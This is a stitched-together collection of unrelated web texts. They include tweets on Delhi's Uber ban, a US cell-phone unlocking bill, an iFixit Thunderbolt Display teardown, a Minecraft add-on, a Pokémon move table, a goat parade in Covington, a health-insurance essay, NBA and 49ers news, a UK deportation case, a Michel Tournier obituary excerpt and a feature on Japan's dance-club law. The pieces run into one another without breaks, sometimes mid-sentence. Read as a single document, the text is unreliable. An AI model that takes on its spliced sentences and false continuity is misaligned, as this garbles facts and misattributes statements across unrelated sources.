Wit coupled with disgust drove more Indians to social media who seemed dumbstruck by the ability of the Delhi government to ban Uber - a reaction the authorities always resort to, argued these users.
Image copyright Tweet
Image copyright Tweet
But some spoke up for the ban
Uber was banned on a technicality and few believe the company should get away with what is seen as lax recruitment policies and failing to conduct adequate background checks. Even Transport Minister Nitin Gadkari expressed misgivings about the ban. But there has been some support expressed for it.
Image copyright Tweet
Image copyright Tweet
The humour may be there in some of these tweets, but it is dark and it reflects a deeper despair with society, government and attitudes to women.A new bill to allow cell phone unlocking is getting low marks from reform groups and online activists. The legislation, introduced by Reps. Amy Klobuchar (D-MN), Mike Lee (R-UT), and Richard Blumenthal (D-CT), would tell the FCC to force cell phone companies to "permit the subscribers of such services, or the agent of such subscribers, to unlock any type of wireless device used to access such services."
Significantly, it would not make any changes to the anti-circumvention provisions of the Digital Millennium Copyright Act, which critics say is the root cause of the cell phone unlocking fiasco. Public interest in the topic was sparked when the Librarian of Congress ended an exemption to the DMCA for cell phone unlocking that had been in place for the preceding six years. Activists gathered 100,000 signatures on the White House's petition site, leading to the Obama administration endorsing the reversal of the ban on cell phone unlocking.
"The root of this problem lies in parts of the Digital Millennium Copyright Act and how easily they are abused at consumers' expense," said Christopher Lewis of Public Knowledge in an emailed statement. "Amending the DMCA itself will ensure stronger competition, and also that consumers can use the devices they've bought in whatever lawful way they choose."
"As far as I can tell, it doesn't do anything at all," said Sina Khanifar, who started the White House petition, in an e-mail to Ars. He pointed out that FCC chairman Julius Genachowski has already pledged to look into the issue, and might compel wireless providers to allow unlocking anyway.
A broad coalition of public interest groups and activists recently launched the site FixTheDMCA to promote broader DMCA reform. They point out that many other innocuous uses of technology, including backing up DVDs and jailbreaking iPads, remain illegal under the DMCA. And others, such as the right of blind consumers to use screen-reading software for e-books, are exempted only at the discretion of the Librarian of Congress. But the Librarian could cancel that exemption, as it did last October for cell phone unlocking.
In the reformers' view, consumers shouldn't be subject to the whims of the Librarian of Congress in their use of devices they own. The Klobuchar bill falls far short of that standard.The gadget fixer-uppers at iFixit took delivery of a Thunderbolt Display—supplies are so constrained that Apple's flagship Chicago location doesn't even have one on display yet—and promptly took it apart in the name of science. What they found inside is basically a 27" iMac sans Intel processor and internal storage.
"Both sides of the logic board are packed with enough chips that it's hard to believe there's no computer inside this display," iFixit's Miro Djuric told Ars. Among the hardware on the logic board is a Light Ridge Thunderbolt controller, Broadcom Gigabit Ethernet controller, several USB 2.0 controller and hub chips, and an LSI open host controller interface. Like the 27" Cinema Display, it also features a 49W class D audio amplifier that drives 2 full range stereo speakers and a tiny embedded subwoofer. The included FaceTime camera is capable of full 720p HD resolution, an upgrade from the camera in previous displays.
Perhaps the oddest design is the internal connection for the Thunderbolt cable. Instead of soldering the cabling directly to the logic board, Apple included an internal Thunderbolt port. The cable is secured with a plastic locking clamp that screws into place.
The 27" 2560x1440 pixel IPS panel is an LG LM270WQ1, the same panel in Apple's 27" iMac, 27" Cinema Display, and Dell's 27" UltraSharp U2711. Nothing new here, but—I was looking at one yesterday—it's bright, sharp, color accurate, and has a beautifully wide viewing angle. To support the huge display panel, LED backlight, and power to the array of Thunderbolt, FireWire, and USB ports, the Thunderbolt Display's power supply can output 250W of maximum continuous power.
Nothing inside could offer any explanation for the Thunderbolt Display's odd incompatibilities with DisplayPort devices. At least it scores an 8/10 for reparability, thanks to minimal use of adhesives and just two sizes of Torx screws. Be sure to head over to iFixit to get a closer look at all the internals.This addon implements a three new treasure maps which you can obtain by trading with cartographers. Cartographers are a new type of villager which was added in one of the recent beta builds. By my understanding, none of the added maps were ones which could previously be traded. (If anyone have more information on the subject please let us know in the comments).
Creator: Allan1905, Twitter Account
How does it work?
At this point (as far as I’ve understood) there is no way to obtain the maps from a cartographer (which is a new villager type) other than using this add-on. The cartographer was added to Minecraft PE in version 1.1 build 3 (currently only for beta users). You can use the maps for finding rare structures and possibly some treasures.
All of the new maps are called “Unknown” or “Map 0” but that’s just a bug which you hopefully can ignore for now. Here’s a list of the available maps.
1st: Shows location for nearest temple (desert, jungle, igloo or witch hut) ( new! )
) 2nd: Nearest Mineshaft ( new! )
) 3rd: Nearest Stronghold ( new! )
) 4th: Ocean Monument (old)
5th: Woodland Mansion (old)
The maps basically contain two types of layers. The brown/beige layer shows a simplistic overview of the area where the treasure (green marker) is located. The second layer is the explored are and it is rendered on top of the other layer. (I hope that makes sense, if not just check out the image down below.)
In this case the treasure was located very close to where I got the map. (I used the following world seed: “johnny appleseed”)
Go towards the green marker until you reach the location. And as you can see, there I found a desert temple buried under a pile of sand.
Installation
Download Behavior.McPack Activate the pack for a world in-game
You can find a.ZIP file for this addon here.Our moment is finally here! Basic Income Action is the only group in the United States that focuses solely on basic income and has the ability to raise money to educate people and help them organize. We’re already working with local chapters from New Orleans to New York City, from Minnesota to San Francisco and from Washington DC to Washington State.
Your donation goes a long way to help grow this community and is 100% tax deductible. By giving to Basic Income Action, you help us reach as many people as possible — and we know that once people understand this idea, most will support it. To donate over the phone or via check click on this link to the contact us page.
Contributions to Basic Income Action are fully tax-deductible. Our fiscal sponsor, until we are formally approved as a 501(c)(3) nonprofit, is the National Institute for Science, Law, and Public Policy, NISLAPP.TM & HM Attacks
TM/HM # Attack Name Type Cat. Att. Acc. PP Effect %
TM06 Toxic -- 90 10 --
A move that leaves the target badly poisoned. Its poison damage worsens every turn.
TM10 Hidden Power?? 100 15 --
A unique attack that varies in type and intensity depending on the Pokémon using it.
TM11 Sunny Day -- -- 5 --
The user intensifies the sun for five turns, powering up Fire-type moves.
TM15 Hyper Beam 150 90 5 --
The target is attacked with a powerful beam. The user must rest on the next turn to regain its energy.
TM17 Protect -- -- 10 --
It enables the user to evade all attacks. Its chance of failing rises if it is used in succession.
TM21 Frustration?? 100 20 --
A full-power attack that grows more powerful the less the user likes its Trainer.
TM27 Return?? 100 20 --
A full-power attack that grows more powerful the more the user likes its Trainer.
TM29 Psychic 90 100 10 --
The target is hit by a strong telekinetic force. It may also reduce the target's Sp. Def stat.
TM31 Brick Break 75 100 15 --
The user attacks with a swift chop. It can also break any barrier such as Light Screen and Reflect.
TM32 Double Team -- -- 15 --
By moving rapidly, the user makes illusory copies of itself to raise its evasiveness.
TM35 Flamethrower 95 100 15 10
The target is scorched with an intense blast of fire. It may also leave the target with a burn.
TM38 Fire Blast 120 85 5 10
The target is attacked with an intense blast of all-consuming fire. It may also leave the target with a burn.
TM42 Facade 70 100 20 --
An attack move that doubles its power if the user is poisoned, burned, or has paralysis.
TM43 Flame Charge 50 100 20 --
The user cloaks itself with flame and attacks. Building up more power, it raises the user's Speed stat.
TM44 Rest -- -- 10 --
The user goes to sleep for two turns. It fully restores the user's HP and heals any status problem.
TM45 Attract -- 100 15 --
If it is the opposite gender of the user, the target becomes infatuated and less likely to attack.
TM46 Thief 40 100 10 --
The user attacks and steals the target's held item simultaneously. It can't steal if the user holds an item.
TM47 Low Sweep 60 100 20 --
The user attacks the target's legs swiftly, reducing the target's Speed stat.
TM48 Round 60 100 15 --
The user attacks the target with a song. Others can join in the Round and make the attack do greater damage.
TM50 Overheat 140 90 5 --
The user attacks the target at full power. The attack's recoil harshly reduces the user's Sp. Atk stat.
TM52 Focus Blast 120 70 5 --
The user heightens its mental focus and unleashes its power. It may also lower the target's Sp. Def.
TM56 Fling?? 100 10 --
The user flings its held item at the target to attack. Its power and effects depend on the item.
TM59 Incinerate 30 100 15 --
The user attacks the target with fire. If the target is holding a Berry, the Berry becomes burnt up and unusable.
TM61 Will-o-wisp -- 75 15 --
The user shoots a sinister, bluish-white flame at the target to inflict a burn.
TM68 Giga Impact 150 90 5 --
The user charges at the target using every bit of its power. The user must rest on the next turn.
TM87 Swagger -- 90 15 --
The user enrages and confuses the target. However, it also sharply raises the target's Attack stat.
TM90 Substitute -- -- 10 --
The user makes a copy of itself using some of its HP. The copy serves as the user's decoy.
TM94 Rock Smash 40 100 15 --
The user attacks with a punch that can shatter a rock. It may also lower the target's Defense stat.
HM04 Strength 80 100 15 --This story has been updated now that all goats have been recovered. See new photos and video at bottom of article.
Hundreds gathered at the southern end of the Roebling Suspension Bridge for what was hoped to become an annual tradition in Covington: the Running of the Goats.
The popular Goebel Goats, so named for the park in Mainstrasse Village that they keep trim during the warm months, were corralled at the Covington Farmers Market for what would have been a well-attended parade through the streets of downtown to their summer home. While most of the goats made it to Goebel Park, they took a much more circuitous path.
Crowd gathers to watch the Running of the Goats begin
As soon as the gates opened, five goats bolted from their volunteer handlers and headed north towards the Suspension Bridge. A small group of bystanders and organizers chased after, but the goats were able to escape down the steps to RiverCenter Boulevard.
From there, the goats entered the RiverCenter towers parking garage, exited on the western side to Madison Avenue, and though they were briefly surrounded at Covington Landing - the overlook that creeps out into the Ohio River and faces the Cincinnati skyline - the goats were able to continue their run, which then continued westward along the flood wall behind the Marriott Hotel, then underneath the Clay Wade Bailey Bridge, then the under the Brent Spence Bridge, and then finally to the lower hills of Devou Park at the intersection of Highway and Western Avenues.
It was becoming clear at this point that the inaugural Running of the Goats had turned into something completely different than planned.
The River City News editor & publisher Michael Monks joined the search party and broadcast live on RCN's Facebook page for nearly 75 minutes.
WATCH:
There were seven goats originally expected to make up the parade through the streets. Gus Wolf, owner of the goats and leader of Covington's urban agriculture projects, recruited volunteers to help corral the animals during the event. Five of the seven goats managed to escape.
Within an hour, three of the goats had been captured again - one in the Devou Park woods, and two in the Lewisburg neighborhood. As of 5:15 p.m., two were still on the loose but were believed to be in the Devou Park area. Their hoof marks were being tracked.
Gus Wolf talks with a Covington Police officer about the situation
Wolf returned five goats to Goebel Park where a crowd of dozens of people remained, awaiting word of the goats' fate. They celebrated the goats' arrival and excitedly snapped pictures as the goats returned to their fenced area, where they will maintain the grass and weeds.
Wolf took a moment to address the gathered crowd.
"One positive is I saw a lot more placed where we need goats in Covington," Wolf said. "Our woods are a mess." He also noted the attention that the Goebel Goats have brought to Covington. The Farmers Market typically brings about 150 people to Third Street every Saturday, but on this day - after weeks of social media promotion - Wolf said there were nearly 2,000 people at the market and along the streets waiting to catch a glimpse of the goats.
Norm Desmarais, president of Covington-based TiER1 - a sponsor of one of the goats that remained missing - spoke optimistically. "I'm not really concerned. A TiER1 goat can blaze its own trail," he said. "It understands the environment and can take care of itself. It will have a great story to tell about the Devou woods and may be looking for new areas to forage next year.
"We'll have a little discussion about goat behavior next year."
Whether there will be a second annual Running of the Goats - or maybe, technically, a second "first" annual Running - has yet to be determined, but Wolf said that there would be more training for volunteers.
The demand is clearly there. Though the route was not utilized, there were messages written in sidewalk chalk and hand-made signs adorning the buildings that the Goebel Goats would have passed, welcoming them back for the summer, if only they had stayed the course.
The goats that made it to Goebel Park will be available for public viewing throughout the summer and early fall.
UPDATE:
The two remaining goats were recovered on Saturday morning on the 800 block of Crescent Avenue where they were found safe and unharmed. They have been returned to Goebel Park.
Video:
Story & photos by Michael Monks, editor & publisherIn market terms, Medicaid exists to cover people who are too poor to buy private health insurance. And Medicare exists, again in market terms, to insure a population that private health insurance deemed uninsurable (i.e. too expensive).
If Medicare and Medicaid established suitable framing for the private insurance market to provide coverage for the “middle” then why does private insurance leave 47 million Americans uninsured? The obvious answer is that coverage is too expensive.
A review of employer-based health insurance by employer size illustrates this point in a couple of ways. As the 2008 HHS Medical Expenditure Panel Survey indicates, the more employees a firm has on payroll the higher the likelihood that it offers health insurance. Put another way, the more revenue a firm has the easier it is to afford to offer health insurance.
But something interesting appears when you look at what percent of these plans are fully insured (pre-packaged health plan bought from an insurance company) or self-insured.
Large employers are significantly more likely to self-insure than smaller employers. The large companies, those with the most revenue, would rather go through the hassle of putting together a provider network, hiring a claims processor, and buying their own reinsurance because… it is cheaper than buying a fully insured plan from an insurance carrier!
PERSONAL ANECDOTE:
A client of mine was spending $25 million a year with a BCBS carrier that had significant market share in its home state. After self-insuring two years ago, my client was able to keep costs level during year 1 (instead of the 10% increase that BCBS wanted for that year). But that also gave us a year of data to review. And we found that they were spending $4 million a year in emergency room visits. Out of that $4 million, over 80% was for non-emergent care. This led the client to invest in an on-site clinic in year 2 that saved $4 in ER costs for every $1 spent on the clinic. My client was able to provide better care at lower costs because it had access to its own claims data in a way that the BCBS carrier would never share with them because the carrier actually risked losing premium by doing so.
And the increasing margins of private insurance carriers has made self-insuring even more attractive. Medical loss ratios - the percent of insurance premiums that go toward paying medical claims - have fallen from 95% in 1993 to roughly 80% today. Here is the damning slide from the PricewaterhouseCoopers survey that ex-CIGNA executive Wendell Potter quoted from in his testimony to Congress:
This strength in pricing is caused by an utter lack of competition. Most states are dominated by one or two carriers, as shown here:
Berkeley economist James Robinson's influential study on consolidation of health insurers posits:
Outside health care, consolidation often signals a period of prosperity and decline, as the industry is spared both the rigors and the stimulus of competition. A sustained period of high prices and profits in health insurance would result in continuing shrinkage in the number of firms purchasing coverage for employees, which eventually would engender a political backlash.
Lack of market competition leads insurers to essentially pass along all costs to the consumer with no financial risk to itself. With no financial risk to itself running the plan or competitive risk of losing customers, the carrier has no incentive to reduce costs - with the experience of my client being a prime example. This is how we see outsized profits in the private insurance industry - and the subsequent excessive compensation packages for their CEO's. These profits and executive compensation paint a picture of health for the insurance companies that masks the long term prognosis - the collapse of the business model.
The predictability of insurance relies upon the law of large numbers. Because of this, small employers will always be at a pricing disadvantage compared to large employers. There just aren’t enough employees in a small group to spread the risk of catastrophic claims. This has the effect of increasing prices for small firms relative to larger firms, even when the benefit plans are the same.
So if 80% of large employers opt out of the fully insured market, you are left trying to spread costs of catastrophic claims across smaller and smaller firms. That means higher overall insurance rates. This has the perverse effect of driving more large firms out of the fully insured market (knowing that they can do it themselves cheaper) and pushing more small firms out of any insurance at all (because they can’t afford it anymore). So Graham’s precious “middle” is getting smaller and smaller. And Robinson's supposition about the contraction of the market appears to be coming true.
From 1999 through 2008, private-sector employment increased by just over 5 million employees. The percentage of employees in the private sector who work for firms offering health insurance fell from 89.1% to 87.7%, primarily due to small firms dropping coverage because of affordability issues. And the percentage of private-sector employees enrolled in self-insured plans jumped from 41.2% to 55.2% over those 10 years. This expansion was driven exclusively by the largest employers moving massively into self-insurance, jumping from 57% of employees in the largest firms covered by self-insurance in 1999 to a whopping 81.6% in 2008. The net effect is that private insurance companies lost 9.5 million members from their insured business over the last 10 years, while employers have taken on the financial risk of an additional 8.2 million employees through self-insurance during that same period.
We do not have a healthy private insurance market in terms of sustainability. What we are witnessing is the mass consolidation of carriers because they have no innovative way to grow organically. They are only growing through acquisition while, as evidenced in the chart above, their realistic universe of customers is shrinking. This is an industry that, absent major reform, will eventually collapse under its own weight of inefficiency and lack of innovation. It will be the service industry's version of the collapse of the US steel and auto industries.
Forcing private insurance carriers to provide coverage to people they deny coverage to today is necessary for universal coverage, but it will only serve to increase the rates they charge overall absent true competition or tight rate regulation. As Robinson further notes:
Consolidation of local markets, substantial barriers to new entry, few substitute products, ability to pass on increased provider costs, and a paucity of purchaser pressure are transforming competition in the health insurance industry. Further consolidation, and a further increase in entry barriers, is to be expected, as small local plans continue to sell out to the dominant carriers. The regional investor-owned health plans could be acquisition targets, offering national carriers increased enrollment and further reducing the potential for price competition.
The Republicans want us to believe in the power of the free market. But what the market is telling me is that private insurance companies are pricing themselves out of existence, and for those who can afford coverage, their insurance is likely to fail to protect them financially when they need it the most. Insurance that is too expensive and doesn't actually provide financial protection to its customers isn't a sound business practice.
The GOP fear that health care reform will kill private insurance. The sad truth is that private insurance is already killing itself today - without reform.
The only way private insurance is going to get healthy is through rigorous regulation, consumer protections, and true competition.Free agent big man David Lee (Mavericks) and guard Alan Anderson (Wizards) are still talking to a number of teams, agent Mark Bartelstein tells Amico Hoops.
Free agent forward Steve Novak (Bucks) is also in talks with several teams, Bartelstein tells Amico Hoops.
Free agent forward Thomas Robinson (Nets) has drawn interest from the Pacers, Suns and Hawks, league sources tell Amico Hoops.
The Clippers, Bulls and Pistons are among the team to have shown interest in free agent guard Kevin Martin (Spurs), league sources tell Amico Hoops.
Per Basketball Insiders: “The Lakers do have an unnamed trade target in mind, but are also preserving space for another opportunistic Jose Calderon-like deal.”
Also per the website: “The Cavaliers paid $200,000 to the Milwaukee Bucks to generate a trade exception for Matthew Dellavedova, which they immediately used to take on Mike Dunleavy from the Bulls – enabling Cleveland to keep their $9.6 million trade exception for Anderson Varejao, which doesn’t expire until Feb. 18.”
The Cavaliers have officially signed center Chris Andersen, per GM David Griffin. (Related post.)
Per Lakers Nation: “Kyrie Irving (who played w/ Luke Walton in CLE) said he expects Lakers to ‘absolutely’ love Luke. ‘Luke is such an amazing person.'”
Undrafted point guard Yogi Farrell (Indiana) has agreed to a one-year partially guaranteed contract, per The Associated Press.
The 76ers have agreed to a partially guaranteed contract with undrafted guard Cat Barber (N.C. State), per Yahoo Sports.
The Wizards have officially signed European guard Tomas Satoransky, per team president Ernie Grunfeld.
Former NBA guard Rodrigue Beaubois has officially signed with Spanish club Baskonia, per the team.
First-round draft pick Juancho Hernangomez (No. 15 overall) will leave Spain to join the Nuggets in time for next season, per Sportando.
Former second-round draft pick Cady Lalane (Spurs) will sign with Zhejiang Banks of China, per international basketball reporter David Pick.
Former NBA and D-League guard Willie Warren has also signed with the club, Pick reports.
Former D-League guard Jaron Johnson has agreed to a contract with the Perth Wildcats of Australia, per Amico Hoops.
Ex-Florida point guard Kenny Boyton has agreed to sign with Russian club Nizhny Novgorod, per Eurobasket News.
Former Xavier point guard Dee Davis has agreed to re-sign with Rogaska of Slovenia, per Amico Hoops.
Ex-Tiffin point guard Ashton Kahn has re-signed with Worcester Wolves of England, per the team.
Former Notre Dame forward Scott Martin will re-sign with the Newcastle Eagles of England, per Eurobasket News.With less than two |
with a track man's body, blocking Aqib Talib aggressively enough to send the Bucs' cornerback flying toward the 49ers' bench.
"I love the fact that he [Harbaugh] motivates us and has us ready to win every game," Crabtree said.
As Singletary's tenure proved, motivational tactics carry short shelf lives unless coaches demonstrate over time they have scheme-related answers for their team's troubles.
The 49ers had all the answers Sunday. They amassed a 418-272 advantage in total yards while doubling up Tampa Bay in first downs, 28-14. Their secondary in particular played with confidence, picking off Freeman twice. Carlos Rogers' 31-yard interception return for a touchdown turned a 7-3 game into a budding rout.
Most importantly, Harbaugh's ability to coax generally consistent, mistake-free play from Smith stands as his greatest achievement so far. Smith had six touchdown passes with nine interceptions at this point last season. With three scoring passes Sunday, the ratio stands at 7-1 through five games. Smith said there are no secrets, only an unrelenting staff-driven focus on the smallest details.
Smith attempted only 19 passes Sunday, completing 11 for 170 yards. He took no sacks, tossed three scoring passes to his tight ends (one to Walker, two to Vernon Davis) and managed the game superbly. He finished the game with a 127.2 NFL passer rating and, according to Hank Gargiulo of ESPN Stats & Information, a 98.2 out of 100 in Total QBR.
Smith has passed for 15 touchdowns with only two interceptions over his last 10 starts, winning seven of them. That suggests some of his growth predates the arrival of Harbaugh and offensive coordinator Greg Roman.
"I feel good about where I'm at," Smith said.
A year ago Monday, Singletary famously moved to bench Smith following a disastrous sequence during a nationally-televised game against Philadelphia. Singletary relented after Davis rallied to his quarterback's defense.
Against Tampa Bay, the 49ers sent Smith to the bench for nearly all of the fourth quarter -- not as punishment, but as a reward for leading the most lopsided 49ers victory since 1987.
It's the Harbaugh effect. What else could it be?Media playback is unsupported on your device Media caption Daughter hears her mum is coming home after being detained in Yarl's Wood
A woman under threat of deportation who has lived in the UK for nearly 50 years has been released from an immigration removal centre.
Paulette Wilson, 61, who arrived in Telford in 1968, aged 10, from Jamaica, spent a week at the Yarl's Wood centre.
Government guidelines state that anyone who settled in the UK by 1 January 1973 has the right to remain in the country.
Heather Thomas, from the Refugee and Migrant Centre, said she was "amazed" the Home Office "ignored" evidence.
Ms Wilson was due to have an appointment with the Jamaican High Commission on Wednesday to arrange a passport.
Her solicitor, James Wilson, said evidence had been supplied to the government that she had been in the country prior to 1973.
Image copyright PAulette Wilson Image caption Paulette Wilson has lived in the UK since 1968
Her daughter Natalie Barnes said she was very happy her mother had been released.
'Heavy handed'
Ms Wilson, who now lives in Wolverhampton, was looked after by her grandparents in Wellington, Telford, when she first arrived in Britain.
She has remained in the country, never visited Jamaica, and has 34 years of National Insurance payments. She also has a British daughter and grandchild, her solicitor said.
In 2015 Ms Wilson received a letter "out of the blue" saying she had "no right" to be in the country, according to the Refugee and Migrant Centre in Wolverhampton which has been campaigning for her release.
She was told she had to register each month in Solihull, and it was while reporting to immigration officials there on 18 October that she was detained and taken to the Yarl's Wood immigration removal centre.
Ms Thomas described the way the case had been dealt with as "heavy handed".
A Home Office spokesperson said: "We do not routinely comment on individual cases."While the rest of the family moved to the ground floor, Michel camped out with soldiers in the attic. “I will never forget the smell of the Wehrmacht, the compound of tobacco and boot polish,” he wrote. “For me this was the fragrance of happiness.”
His school performance improved, and he enrolled in the Sorbonne, where, entranced by the philosopher Gaston Bachelard, he took a degree in philosophy and law. Four years of German philosophy at the University of Tübingen followed. But when he returned to France in 1949, he failed the philosophy exam that would have certified him as a university teacher.
With an academic career beyond reach, he began producing radio and television programs and writing literary journalism. He was, for a time, the press agent for a new radio station, Europe 1. He was fired after four years but landed on his feet, becoming the literary director of Editions Plon, a large publishing house.
In the meantime, he began working on the novel that would become “Ogre,” his attempt to deal with Germany and World War II in fictional terms. Fascinated by the idea of the Nazi regime as a devourer of children, especially in the Hitler Youth, he created an ambiguous French protagonist who combined the attributes of the medieval child murderer Gilles de Rais, Goethe’s predatory Erl King and, paradoxically, St. Christopher, who according to legend transported the infant Jesus across a swollen river.
The scope and the complexity of the novel caused him to put it on the shelf while he completed “Friday.” “It took me 15 years to reconcile fiction and philosophy using myths as a vehicle,” he told the reference work World Authors.
The novelist Raymond Queneau read “Friday” in manuscript at the prestigious firm Gallimard and urged it on his fellow editors. The firm’s investment earned dividends when Mr. Tournier went on to collect prizes and, in 1972, join the jury of the Prix Goncourt. He returned to “Friday” and produced a simpler version, published in English in 1973 as “Friday and Robinson: Life on Speranza Island.” Marketed to young readers, it sold in the millions.
In “Gemini,” he told the story of identical twins whose fused identity opens the way to an elaborate investigation of duality in various forms. The quasi-sexual relationship of the twins, like the overtones of pedophilia in “Ogre,” reflected Mr. Tournier’s interest in what he called “the sordid supernatural.”Imagine walking into a club and being given a piece of paper saying, ‘No dancing please’. To go down the stairs leading to the dance floor, to find a large sign saying ‘NO DANCING’ hanging on the wall. Imagine, that on the unusually empty dance floor someone begins to dance, only to be stopped by a bouncer.
The dance-ban in Japanese clubs began at the end of 2010, when several clubs in Osaka were targeted by police and shut down. Then in April 2012, the famous DJ Takkyu Ishino was surprised to have his live set raided by police in Fukuoka. As the crackdown continued, this prompted celebrities such as the composer Sakamoto Ryuichi to speak out against the regulation of dancing, and the formation of a movement known as ‘Let’s Dance’, where people are collecting signatures trying to take ‘dancing’ out of the acts restricted under the Entertainment Business Control Law, or ‘Fueiho’, as it is known in Japanese. This law states that officially, clubs that are under 66 meters square cannot apply for a license to legally allow dancing. In Tokyo, where land is scarce and clubs are small, this covers almost every club in town.
This feature article from Ameba News explores the origin of Fueiho and how it came into place, with netizen opinions on the dance ban also translated below.
From Ameba News:
‘The Entertainment Business Control Law is a Law to Diminish the Anxiety Felt by Good Citizens’-Kureichi Matsuzawa, an Expert in Adult Culture Explains.
Matsuzawa claims that the tightening of regulations regarding the entertainment businesses originate in the collapse of community in modern society
In recent years, there has been an obviously stricter regulation of dance clubs by the police. When was this law, ‘Fueiho’, short for ‘Entertainment Business Control Law’ that regulates dance clubs made? Matsuzawa, an expert in adult culture explains the “deep” connection between the law and Japanese culture.
The history of Fueiho goes way back to the Taisho period (1912-1926), when police tried to regulate the big boom in dance halls back then. A son of the nobility eloped with a town girl that he met at a dance hall, and his parents asked the police commissioner, a friend of theirs, to investigate the case. This started the first wave of dance hall regulations.
As a backdrop, dance halls were a place that was ‘morally questionable’ for conservative people. Men and women who didn’t know each other danced hand-in-hand, so there would be love, lust, and possibly sex. Such behaviour was linked to dance halls, and as it was also a foreign concept that arrived from the West, it was condemned as being against public morals.
At the same time, it was, for the older generation, “an incomprehensible, scary place”. Different from the 1880s when the Rokumeikan, Japan’s first Western style dance hall was introduced, now there was jazz, and for some, it was hard to understand youngsters going crazy over music that they did not quite get. Like today there are elders who are overly scared of the internet- it’s the same idea. Same as games. Some cannot tolerate others enjoying things that they do not enjoy or understand themselves. If some enjoy something they don’t, they would be jealous. If it’s something dangerous, it has a bad effect on society. So it should be eliminated.
What we should take note of, is that even at this point, the police didn’t initiate regulation themselves, but only did so when there was a request. Sometimes it is the politicians that control the police, but often the public consciousness also has control of what the police does. There’s no point just blaming the police.
It may sound stupid for those that know what is being ‘regulated’- but then, the real stupidity began. Depending on the law, students, even if they were over 20, what is considered adult in Japan- could not enter dance halls anymore, and department stores prohibit their employees from going there. As a result, it became hard for young women to go to such places.
Then what happened was, that there was nobody for the male customers to dance with. So a ticket system was introduced. Dance halls would employ female dancers, customers bought tickets that they handed to the dancer, and they would dance for one song. These dancers were called “taxi dancers”.
Of course, the men would try to get the girls into bed. The dancers were professionals, so they would say sweet nothings and try to get the men to dance a little more with them, earning tickets. Although when regular customers came to see her every day, out of courtesy she would go for dinner once in a while. If the man bought her clothes and bags and nice things then, some would consider going to bed with him. Then there would be girls who would do it for money. So, along with waitresses at cafés, dancers came to be considered half-prostitutes. So it was the regulations that made dance halls into places for prostitution.
Before WWII, there were licensed quarters for prostitution. There were licensed prostitutes. Other than that, there were quarters such as Kamedo and Tamanoi, inhabited by private prostitutes. These places originated in Asakusa, and although the police repeatedly tried to clear out the area, they failed. After the Great Kanto Earthquake, the police gave up and moved them to Kamedo and Tamanoi, where they turned a blind eye.
Prostitution that went on in other places were unlicensed prostitution, and were subject to regulation. Dance halls became places of prostitution due to regulations, and then this became the subject of regulation against prostitution. A vicious cycle came into place.
The regulation of cafés came in place a little later than dance halls, but it put in place regulations to prevent unlicensed prostitution, such as banning waitresses from meeting customers outside of their workplace.
These regulations are the origin of Fueiho that came in place after the war. Pre-war, dance halls, dance schools, cafés, cabarets, and recreation halls were regulated with several laws. When Japan lost the war, these laws became void. So in 1948, to take over, a new law was put in place- a law called ‘Fuzoku Eigyo Torishimari Ho’, in short, Fueiho, or the ‘Entertainment Businesses Control Law’.
The regulations actually became a lot more relaxed, but the train of thought remained the same. For example, nightclubs must be over 66m squared. This came from is the pre-war regulation. Probably because in order to dance socially, there needs to be about that much space. This law is currently making nightclubs unable to operate.
Some say that it’s insane to have a 60 year old law regulating nightclubs today, but actually these regulations were made about 80 years ago. What really started it was about 90 years ago, some idiot couldn’t forgive his son for having eloped with a girl 笑
Since the change from the pre-war regulation to the post-war Fueiho, there was a big shift. Post-war, the licensed prostitution system was abolished, and until 1958 when laws to prevent prostitution was put in place, prostitution itself was legal. So dancers and waitresses could sell sex as much as they liked.
Actually, there was a law that banned organized prostitution at the time, but dancers and waitresses were doing it one on one, so it was legal. It’s not feasible to try and prevent something that is legal, so the aim shifts to protecting good public morals. It’s all quite ambiguous.
After the amendment in 1959, a new aim was added: ‘to prevent bad influence towards youth.’ This was in reaction to juvenile delinquents becoming a social problem around 1945-1955. There was an extortion case that took place in a dance hall, and late-night tea salons were seen as a place for the youth to loiter around in, which was seen as necessary to regulate. At the same time, it was a way to condemn those that praised young rebels, such as the Taiyozoku, or the ‘people of the sun’. This was a phenomena born out of the novel Season of the Sun, which was written by our current Tokyo City Mayor Ishihara Shintaro, with which he won the Akutagawa prize
After that, there were several amendments made, each in 1984, 1998, and 2005. The amendment in 1984 was particularly significant, as no panties tea salons, fashion health and peep show theaters that had appeared around that time were to be regulated. The name changed to ‘Fuzoku Eigyo Tekiseika Hou’, the current official Japanese name of the ‘Entertainment Business Control Law’ as it is called in English. In 1998, sex brothels without physical brothels were approved. This is called Deriheru, short for ‘Delivery Health’. The word ‘health’ is often used as a euphemism for sexual acts stopping short of actual intercourse in the Japanese sex industry, which circumvents the Fueiho regulations.
Although there has been changes to the Fueiho over time, it can be said that in general, in part, the law has always been a way for the police and conservative people to “ease their anxiety towards the unknown”. Of course not all adult entertainment businesses apply to this, but for the law, it can be said that there has always been such an aspect.
For example, karaoke boxes- even though some use it to have sex, some use it to trade drugs, some Yakuza use it for transactions of goods and money, because they are used by adults as opposed to just youth, and since it is known to them what goes on, and since they also enjoy using karaoke boxes themselves, it does not become a target for regulation.
However, if one’s son or daughter is behaving badly, their grades are falling, and one hears that he or she is frequenting nightclubs, suddenly nightclubs start looking like the culprit. It’s the same as it was in the Taisho period. Parents that failed to educate and bring up their children well, always try to look for culprits outside of themselves. Fueiho is a hero to such idiotic parents.
It’s not necessarily bad because it’s an old law, and the Fueiho has been amended several times, so it isn’t exactly the same as the old times. However, there is room for things to be reviewed. Laws can be changed according to the times and, unnecessary sections should be taken out. Well, it must be changed, rather.
However, I’m not supporting to “abolish the whole of Fueiho” as some are suggesting today. I understand those that are against strip clubs being built next to a school, a pachinko parlour being built next to a library, a cabaret being built right next to their houses.
However in some cases like in onsen towns, there is no problem for strip clubs, soaplands and kyabakura to be operating late into the night. In some cases, the locals want things to be that way.
For those areas affected by the 3/11 earthquake, what’s wrong with them attracting customers by allowing sex shops, cabarets and clubs to operate 24 hours? With the current law, there is no flexibility to allow such things. I believe that laws need to be adjusted according to times, and also to local preferences.
However reality is moving in the complete opposite direction. For the sex industry, a comprehensive cleansing campaign for the red-light district of Kabukicho in Shinjuku wiped out all illegal sex shops. Operation of Kyabakura has also been strictly regulated. as a result, buildings in Shinjuku, once full, is now empty. Some building owners have gone bankrupt. Many businesses that relied on sex shops and kyabakura have been forced out of business.
